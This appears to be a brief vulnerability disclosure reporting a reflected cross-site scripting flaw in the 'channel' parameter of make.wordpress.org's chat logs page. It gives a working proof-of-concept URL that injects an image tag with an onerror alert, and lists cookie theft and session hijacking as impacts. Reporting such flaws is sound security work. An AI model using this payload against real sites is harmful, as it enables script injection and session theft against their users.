Reflected XSS on https://make.wordpress.org via 'channel' parameter

How it was found

Hi there, I just found a reflected XSS on make.wordpress.org domain.

steps to reproduce :

1. visit this link : https://make.wordpress.org/chat/logs?channel=16%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E&date=2019-07-21&no_bots=1
2. xss pop up will occurs

POC: see:wp reflected xss.png

Note: it works on the latest version of firefox

Impact

some of xss impact like stealing cookies, session hijacking, etc ..